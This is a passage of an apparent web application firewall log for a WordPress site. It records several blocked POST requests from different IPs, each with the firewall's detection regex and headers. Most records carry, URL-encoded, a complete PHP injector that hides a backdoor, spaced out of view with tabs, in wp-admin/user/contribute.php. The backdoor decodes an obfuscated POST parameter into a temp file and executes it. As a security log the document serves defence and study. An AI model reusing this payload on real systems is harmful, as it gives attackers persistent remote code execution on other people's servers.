20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4459\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nDZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:55:25","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4459\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nXt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:55:38","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGUbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4459\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nLz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:55:46","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ao:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php 